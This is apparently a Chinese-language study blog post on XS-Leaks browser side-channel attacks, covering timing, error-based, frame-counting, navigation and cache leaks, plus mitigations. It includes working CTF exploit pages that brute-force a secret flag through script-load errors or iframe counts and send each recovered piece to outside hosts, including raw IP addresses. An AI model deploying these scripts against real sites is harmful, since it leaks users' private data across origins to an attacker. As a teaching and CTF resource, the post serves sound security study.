XS-Leaks学习

XS-Leaks 全称 Cross-site leaks,可以用来 探测用户敏感信息

设想网站存在一个模糊查找功能(若前缀匹配则返回对应结果)例如 http://localhost/search?query=,页面是存在 xss 漏洞,并且有一个类似 flag 的字符串,并且只有不同用户查询的结果集不同。这时你可能会尝试 csrf,但是由于网站正确配置了 CORS,导致无法通过 xss 结合 csrf 获取到具体的响应。这个时候就可以尝试 XS-Leaks。

XS-Leaks(或 Cross-Site Leaks)是一组浏览器侧通道攻击。它们使恶意网站能够从其他 Web 应用程序的用户那里推断数据。盲注也是一种侧信道攻击,可以这么理解。

在此之前,我们需要先了解一下同源政策,正是因为它的存在,XS-Leaks才有出现的必要。

同源政策

https://medium.com/starbugs/%E5%BC%84%E6%87%82%E5%90%8C%E6%BA%90%E6%94%BF%E7%AD%96-same-origin-policy-%E8%88%87%E8%B7%A8%E7%B6%B2%E5%9F%9F-cors-e2e5c1a53a19

在开始之前,了解 SOP(Same Origin Policy)是很有帮助的,它是 Web 浏览器安全模型的核心和灵魂。这是一个或多或少说的规则:

同源政策是网站安全的基础。https://domain-a.com只能访问自己网站里的资源(图片、视频、节目码等),不允许网站https://domain-b.com来访问。想要访问跨源资源必须在某些特定情况下才被允许。

允许scheme、domain、port都可以被视为同源 (same-origin)

若以 https://domain-a.com:80/hannah-lin 做范例,我们可以据此判断下列是否为同源

1
2
3
4
5
http://domain-a.com → 不同源.scheme 不同
https://domain-a.com/mike → 同源
https://news.domain-a.com → 不同源.domain 不同
https://domain-a.com:81 → 不同源.port 不同
https://domain-b.com → 不同源.domain 不同

但是很多情况下网站明明就引入了很多跨来源的资源啊?

没错,在某些情况下跨来源是被允许的,不受同源限制策略!

  • 跨来源嵌入通常被允许 ( embed )

像示例的<script src=”…”></script><link rel=”stylesheet” href=”…”><iframe>、图片<img><video>、 或者@font-face <object><embed>.等等都是跨来源嵌入。

  • 跨来源写入通常被允许 ( writes )

可以在以太网上由<form>domain-a.com发请求给domain-b.com,当然利用链接链接或直接重定向到其他网站也是允许的。

  • 跨源读取通常被禁止 ( reads )

domain-a.com无法读取domain-b.comcookie、XMLHttpRequest ,Fetch API 也无法被读取,会返回错误

img

通过定时攻击泄露

浏览器可以轻松地对跨域请求进行计时。

1
2
3
4
5
6
7
8
9
10
11
var start = performance.now()

fetch('https://example.com', {
mode: 'no-cors',
credentials: 'include',
}).then(() => {
var time = performance.now() - start
console.log('The request took %d ms.', time)
})

#The request took 129 ms.

这使得恶意网站可以区分响应。假设有一个搜索 API 供患者查找自己的记录。如果患者患有糖尿病并搜索“糖尿病”,则服务器返回数据。

1
GET /api/v1/records/search?query=diabetes
1
{ 'records': [{ 'id': 1, ... }] }

如果患者没有糖尿病,API 会返回一个空的 JSON。

1
GET /api/v1/records/search?query=diabetes
1
{ 'records': [] }

一般来说,前一个请求需要更长的时间。然后,攻击者可以创建一个恶意网站,对“diabetes” URL 的请求进行计时,并确定用户是否患有糖尿病。

通过基于错误的攻击

我们列表中的下一个侧通道是使用 JavaScript 策略性地捕获错误消息。假设一个页面根据一些敏感的用户数据返回200 OK或。404 not found

然后,攻击者可以创建如下所示的页面,该页面查询应用程序并确定端点是否为浏览器用户返回错误。

1
2
3
4
5
6
7
8
9
10
function checkError(url) {
let script = document.createElement('script')
script.src = url
script.onload = () => console.log(`[+] GET ${url} succeeded.`)
script.onerror = () => console.log(`[-] GET ${url} returned error.`)
document.head.appendChild(script)
}

checkError('https://www.example.com/')
checkError('https://www.example.com/this-does-not-exist')
1
2
[-] GET https://www.example.com/ succeeded.
[+] GET https://www.example.com/this-does-not-exist returned error.

个人认为这跟布尔盲注很像!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Error-Based Attack</title>
</head>
<body>
<script>
function checkError(url) {
let script = document.createElement('script')
script.src = url
script.onload = () => window.open("http://101.43.48.199:8000/1");
script.onerror = () => window.open("http://101.43.48.199:8000/2");
document.head.appendChild(script)
}

checkError('http://0.0.0.0:8000/internal/search?s=nctf{')
checkError('http://0.0.0.0:8000/internal/search?s=somethingwrong')
</script>
</body>
</html>

接下来给出一个相关exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Error-Based Attack</title>
</head>

<body>
<script>
let currentFlag = "nctf{";
const chars = "abcdef0123456789-{}";

function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}

function checkCharacter(char) {
return new Promise((resolve) => {
let script = document.createElement('script');
script.src = `http://0.0.0.0:8000/internal/search?s=${currentFlag}${char}`;

script.onload = () => {
document.head.removeChild(script);
resolve(true);
};

script.onerror = () => {
document.head.removeChild(script);
resolve(false);
};

document.head.appendChild(script);
});
}

async function bruteforce() {
try {
while (!currentFlag.endsWith('}')) {
for (let char of chars) {
const isCorrect = await checkCharacter(char);
if (isCorrect) {
currentFlag += char;
window.open(`http://VPS:8000/?flag=${currentFlag}`);
await sleep(50);
break;
}
await sleep(50);
}
}
} catch (error) {
window.open(`http://VPS:8000/?error=${currentFlag}`);
}
}

bruteforce();
</script>
</body>

</html>

再来一个:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<script>
function probeError(flag) {
let url = 'http://127.0.0.1:8000/internal/search?s=' + flag;
let script = document.createElement('script');
script.src = url;
script.onload = () => {
fetch('http://156.238.233.113:8000/?flag=' + flag, { mode:'no-cors' });
leak(flag);
script.remove();
};
script.onerror = () => script.remove();
document.head.appendChild(script);
}

let dicts = 'abcdefghijklmnopqrstuvwxyz0123456789-{}';
function leak(flag) {
for (let i = 0; i < dicts.length; i++) {
let char = dicts[i];
probeError(flag + char);
}
}
leak('');
</script>

通过帧计数泄露

https://xsleaks.dev/docs/attacks/frame-counting/

通过获取帧的句柄,可以访问该帧的window.length属性,该属性用于检索窗口中的帧数(IFRAME 或 FRAME)。

这种知识有时会产生安全/隐私影响。例如,网站可能会根据某些用户数据以不同的帧数呈现个人资料页面。

有几种方法可以获得窗口句柄。第一个是调用window.open,它返回句柄。

1
2
3
4
5
var win = window.open('https://example.com')
console.log('Waiting 3 seconds for page to load...')
setTimeout(() => {
console.log('%d FRAME/IFRAME elements detected.', win.length)
}, 3000)

另一种是对目标网站进行框架,并获取框架的句柄。

1
2
3
4
5
6
7
8
9
<iframe name="framecounter" src="https://www.example.com"></iframe>
<script>
var win = window.frames.framecounter

console.log('Waiting 3 seconds for page to load...')
setTimeout(() => {
console.log('%d FRAME/IFRAME elements detected.', win.length)
}, 3000)
</script>

这里给出相关比赛的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// contentWindow.frames.length

var chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^`{|}~ ';
var charLen = chars.length;
var ENDPOINT = "http://challenges.fbctf.com:8082/search?query="
var x = document.createElement('iframe');

function search(leak, charCounter) {
var curChar = chars[charCounter];

//Chek if the character is valid
x.setAttribute("src", 'http://challenges.fbctf.com:8082/search?query=' + leak + curChar);
document.body.appendChild(x);
console.log("leak = " + leak + curChar);

//When the page inside the iframe is loaded
x.onload = () => {
//检查页面中有多少个 iframe,如果有1个或多个,则说明当前枚举的字符是有效的。
if (x.contentWindow.frames.length != 0) {
fetch('http://myserver/leak?' + escape(leak), {
method: "POST",
mode: "no-cors",
credentials: "include"
});
leak += curChar
}
search(leak, (charCounter + 1) % chars.length);
}
}

function exploit() {
search("fb{", 0);
}

exploit();

通过检测导航泄露

https://xsleaks.dev/docs/attacks/navigations/

检测跨站页面是否触发导航对攻击者来说很有用。例如,网站可能会根据用户的状态在某个端点触发导航。

为了检测是否发生了任何类型的导航,攻击者可以:

  • 使用并计算事件被触发的iframe次数。onload
  • 检查 的值history.length,该值可通过任何窗口引用访问。这提供了受害者历史记录中由history.pushState或常规导航更改的条目数。为了获取 的值history.length,攻击者将窗口引用的位置更改为目标网站,然后改回同源,最后读取该值。

通过浏览器缓存泄露

当用户访问网站时,这些网站的资源通常会被缓存并存储在用户的磁盘上,因此不必再次下载。这节省了带宽,降低了服务器负载,并改善了用户体验。

不幸的是,基于时间和错误的 xsleak 变体可以利用这一点并确定用户之前是否访问过网站。

缓存时间变化很简单,为请求计时,如果是瞬时的,则资源被缓存。

基于错误的版本稍微复杂一些。它利用了缓存资源从未从服务器实际请求过的事实。因此,对缓存资源的无效 HTTP 请求不会引发异常(因为 Web 服务器永远没有机会拒绝它)。

通过帧中的 ID 字段泄漏

https://xsleaks.dev/docs/attacks/id-attribute/

防止XS-Leaks

完全防止是不可能滴

  1. 使用 SameSite 属性保护您的 cookie。
  2. 使用 Content-Security-Policy 和 X-Frame-Options 来防止框架。
  3. 考虑使用 Cache-Control 禁用缓存。
  4. 使用 fetch metadata headers 和 Vary header 来防止缓存探测。
  5. 实施跨域开放政策。
  6. 实施跨域资源策略。
  7. 实施隔离政策。

参考文章:https://blog.csdn.net/allway2/article/details/126703565

https://www.cnblogs.com/starrys/p/15171221.html